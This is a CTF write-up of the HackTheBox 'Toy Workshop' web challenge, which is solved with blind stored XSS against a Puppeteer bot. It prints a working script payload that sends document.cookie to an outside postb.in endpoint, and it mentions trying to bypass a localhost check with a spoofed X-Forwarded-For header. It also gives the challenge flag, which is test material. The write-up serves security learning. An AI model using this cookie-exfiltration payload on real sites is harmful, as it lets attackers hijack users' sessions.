HTB Christmas CTF – Toy Workshop

Overview

Toy Workshop was a 1 star rated ‘Web’ challenge from the HackTheBox “Cyber Santa is Coming to Town” CTF. This was an interesting challenge, with the flag coming from a blind stored-XSS which led to the leakage of the flag from a cookie value in a Puppeteer instance.

After that mouthful, lets take a look at my solution to this problem.

Tooling Used

I made use of a number of new tools for this challenge. Rather than spinning up an Azure VM, I wanted to try and use free online resources. In particular, I used:

Recon

I performed initial recon with my go-to combination of nikto -host x.x.x.x and gobuster dir -u http://x.x.x.x. These returned nothing interesting, so I moved to digging through the resources on the site. At this point I remembered that we can download the files for the server from the CTF site. This reveals a POST request to /api/submit.

Initially, I thought the vulnerability would be within the logic for the /queries endpoint. Due to this checking for a localhost address, I suspected that spoofing the X-Forwarded-For header could allow this check to be bypassed. As Express is known to have issues when relying on the value from the req.ip parameter.

After many attempts, I decided to look elsewhere as I wasnt making progress. After a short search, I discovered the bot.js file, which had some unusual behaviour.

Bot.js

The bot.js file uses puppeteer to load the site. As shown on line 24 of the file, the flag is included in the cookies when it loads the site. My initial thought here was to either obtain command execution or a reverse shell. With no obvious routes to achieve this, I decided to try and inject HTML into the web page.

As you can see from the logic of the server, it uploads our data to the database and then queries it using puppeteer. This means we could upload HTML and it should be processed by the bot. The code for the database actions are shown below:

Canary Tokens

To test this theory, I created a CanaryToken web bug to test that I could perform two different actions.

  • The ability to inject HTML into the /queries endpoint
  • The server can reach out to an arbitrary web resource (i.e no firewalls)

Using a temporary email address, I registered this token. I then created a basic payload to inject an image into the webpage. Using Burp Suite I was able to insert it to the database.

This then returned a hit to my temporary mailbox, as shown below.

Final Payload

To convert this into a working payload, I decided to redirect the /queries endpoint to a postb.in page I controlled. This allowed me to POST the value of the cookies out. In the end, my complete payload for /api/submit was as follows:

{
    "query":"<html><script>document.location=\"https://postb.in/RANDOM_ID? cookie=\"+document.cookie</script></html>"
}

In postb.in we can view the contents of the cookies:

Revealing a flag of HTB{3v1l_3lv3s_4r3_r1s1ng_up!} for Toy Workshop .